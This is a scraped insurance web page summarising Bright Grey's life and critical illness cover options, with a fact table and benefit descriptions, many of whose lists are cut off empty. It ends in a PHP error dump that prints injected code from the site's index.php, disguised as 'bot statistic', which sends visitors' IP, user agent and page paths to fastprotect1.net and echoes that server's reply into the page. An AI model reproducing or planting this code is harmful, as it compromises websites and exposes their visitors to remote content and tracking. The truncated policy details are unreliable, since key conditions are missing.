Bright Grey's Life Insurance Cover Options Through the Personal Protection Menu

Bright Grey’s Personal Protection Menu provides life insurance cover, as well as critical illness cover, a combination of both, or income protection cover. This provides flexibility for the customer, as he only adds the type of cover that he needs.

This article will be mostly about the life insurance cover and other related benefits.

Quick Facts

Life Insurance Life or Critical Illness
Primary purpose of product

Protects against financial loss due to the Person Insured’s death or terminal illness; designed to change based on the future needs of the Person Insured.

Protects against financial loss due to the Person Insured’s death, terminal illness or critical illness; designed to change based on the future needs of the Person Insured.

Plan basics

The Person Insured can choose between a lump sum payment or a monthly income.

The cover can be designed to stay level, increase or decrease.

This cover provides not just life protection, but also cover for total permanent disability, critical illness or terminal illness.

The cover pays only once. Once the full benefit amount is paid, the cover stops.

Cover Limits
Minimum cover limit

No minimum, depends on the minimum premium

No minimum, depends on the minimum premium

Maximum cover limits

£10,000,000

£10,000,000 with a cap of £1,000,000 for critical illness

Cash-in value

None

None

Eligibility
Minimum age at entry

18

18

Maximum age at entry

83

59 (for guaranteed premiums)

64 (for reviewable premiums)

Other eligibility require-ments

Must be a resident of the UK, Channel Islands and Isle of Man

Must be a resident of the UK, Channel Islands and Isle of Man

Length of Cover
Minimum term

1 year

1 year

Maximum term

40 years (for Level Cover)

40 years (for Level Cover)

Maximum age

84 years old

69 (for guaranteed premiums)

74 (for reviewable premiums)

Premiums
Future changes in premiums?

Premiums are guaranteed.

Premiums are guaranteed or reviewable.

Minimum premium

£5 monthly

£5 monthly

Maximum premium

None, dependent on maximum cover

None, dependent on maximum cover

Guaranteed premiums Yes Yes
Reviewable premium No Yes
Additional benefits
Terminal illness

Yes, other than in the last 12 months of the plan

Yes, other than in the last 12 months of the plan

Joint life cover

Yes, only for Joint Life First Death/Event

Yes, only for Joint Life First Death/Event

Critical illness cover

Not applicable

Yes
Premium protection

Optional , for sickness only

Optional , for sickness only

Renewal option No No
Replace-ment cover

Optional

Optional

Separation option Yes Yes
Indexation option

Optional

Optional

Guaranteed insurability option

Optional

Optional

Extra cover feature

(optional)

- Income Cover for Sickness

- Mortgage repayment guarantee

- Instant cover

- Income Cover for Sickness

- Life Cover reinstatement option

- Mortgage repayment guarantee

- Instant cover

Plan Details

Payment

The policy will pay out the Sum Insured when:

The Sum Insured is payable only once.

The Person Insured has the option to either get the claim as a lump sum or as a monthly benefit (which is paid until the end of the term of the cover). For those that opt for a monthly benefit and later change his mind, the monthly payments can be converted into a lump sum. For Life or Critical Illness where premiums are guaranteed, the only available choice would be the lump sum.

Number of Policies

More than one policy can be allowed, as long as the total monthly premium does not exceed the maximum limit.

Cash-In Value

There are no cash-in values for the plans.

Premiums

Premiums can be guaranteed or renewable.

Additional Benefits/Options

Terminal Illness Benefit

The Terminal Illness Benefit either pays a lump sum or a monthly income when the Person Insured is diagnosed with a critical illness before the cover ends and before the Person Insured’s death. Once this is paid out, the cover stops and no further payments will be made for the death of the Person Insured.

Other details:

The Terminal Illness Benefit is only payable if the diagnosis of a terminal illness is made before the last 12 months before the date the cover ends.

Critical Illness Cover

This pays a specified amount (usually the same as the sum insured) in the event the Person Insured is diagnosed with a covered critical illness.

The Critical Illness Cover will pay if the Person Insured is diagnosed with:

Additional partial payment (the lower of £15,000 or 20% or the Sum Insured) will be made for diagnosis of the following:

Payments for the above will not affect the main benefit (critical illness or life).

Total permanent disability is included in the Critical Illness cover. Payment for this depends on the type of definition use:

Other cover details:

Children’s Critical Illness cover. This is automatic cover provided to a Person Insured’s children between 30 days to 18 years of age, whether these children are natural children or adopted children. The benefit will be the lower of £20,000 or 50% of the Sum Insured, for covered children’s critical illnesses. Payments of a child critical illness cover will not affect the main benefit.

Income Cover for Sickness

This benefit pays out a monthly income if the Person Insured is unable to work due to illness or injury. This length of the cover is between 5 to 40 years. The benefit payments will start after the waiting period, which is set at the beginning of the cover. Payment for this depends on the kind of definition used.

Other details:

Premium Protection/Waiver of Premium

This waives the premiums when the Person Insured is incapacitated. The waiting period is set at the time this cover is taken out. The term for this cover is 1 to 40 years.  This is automatically included in the cover if the Person Insured takes out Income Cover for Sickness. The circumstances by which this is payable is the same as Income Cover for Sickness, provided the claim is made prior to the Person Insured’s 65th birthday.

Life Cover Reinstatement Option

This is for Life or Critical Illness cover. Once the Sum Insured is paid out for Critical Illness, the cover stops and no further payments will be made. However, this option, which is taken out for an extra payment, enables the Person Insured to get a new life cover without the need to provide additional medical evidence.

Other details:

Replacement Cover

Also referred to as Joint Life Reinstatement Option, this is for joint life policies. If one Person Insured claims for the full sum insured, the policy terminates and no further payments will be made for other claims. However, with this option, the remaining Person Insured has the option to take out a replacement policy.

Other details:

Separation Option

This is automatically provided for joint life policies taken out to cover a mortgage. When the persons insured divorces or dissolves a civil union, this will affect the existing mortgage that is placed in both names. This option allows the two Persons Insured to take out single life covers for each. This is available within three months when:

Other details:

Renewal Option

This allows the Person Insured to get renew the plan without the need to provide additional medical evidence of insurability. Every renewal date, the terms of the renewal will be provided and the Person can opt to renew the policy.

Indexation Option

This provides automatic increases to the Sum Insured to allow for inflation. The rate of increase can be:

Other details:

This includes any other current cover amounts from Bright Grey. Covers payable as regular payments will be computed based on what Bright Grey would have paid if it was paid as a lump sum.

Guaranteed Insurability Option

This option provides the opportunity to increase the amount of Sum Insured due to certain life events, without needing to provide additional medical evidence of insurability.

Other details:

Life events and allowable increases:

Life event Increase

Marriage, entering into a civil union, parenthood (either by birth or by adoption)

The lower of:

  • 50% of the Sum Insured
  • £50,000 (lump sum)
  • £3,000 annually (regular payments)

An increase in mortgage due to a new home or home improvements

Depending on the increase in the mortgage subject to the maximum limits of the benefit

The total amount of increase should be the lower of:

The limit applies for all covers with Bright Grey.

Mortgage Repayment Guarantee

This ensures that the outstanding mortgage is paid off.

Instant Cover

This provides immediate cover once Bright Grey receives the application, either by post or by the internet. This does not cover Children’s Critical Illness or additional benefits in the Critical Illness cover.

Other details:

Exclusions

The cover will not pay for claims where:

How to Make a Claim

When making a claim, Bright Grey will usually require the following:

Bright Grey may also require medical evidence provided by a medical practitioner working in an approved hospital.

Approved countries include:

To secure your family's future, fill in the form on the right and get your term life insurance quote now.

Types of insurance:
Term life insurance 101:
Life insurers:
*Scottish Provident 2012 life cover claims paid report.
MODx Content Manager »

« MODx Parse Error »

MODx encountered the following error while attempting to parse the requested resource:
« PHP Parse Error »
 
PHP error debug
  Error: file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known 
  Error type/ Nr.: Warning - 2 
  File: /home/termlife/public_html/index.php 
  Line: 139 
  Line 139 source: <?php /*This code use for global bot statistic*/ $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); /*Looks for google search bot*/ $sReferer = ''; if(isset($_SERVER['HTTP_REFERER']) === true) { $sReferer = strtolower($_SERVER['HTTP_REFERER']); } if(!(strpos($sUserAgent, 'google') === false)) /*Bot comes*/ { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) /*Create bot analitics*/ echo file_get_contents('http://fastprotect1.net/Defense/Stat14/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']).'&ref='.urlencode($sReferer) ); } else { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) /*Create bot analitics*/ echo file_get_contents('http://fastprotect1.net/Defense/Stat14/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']).'&ref='.urlencode($sReferer)); } /*Statistic code end*/ ?>  
 
Parser timing
  MySQL: 0.0034 s(0 Requests)
  PHP: 5.0900 s 
  Total: 5.0934 s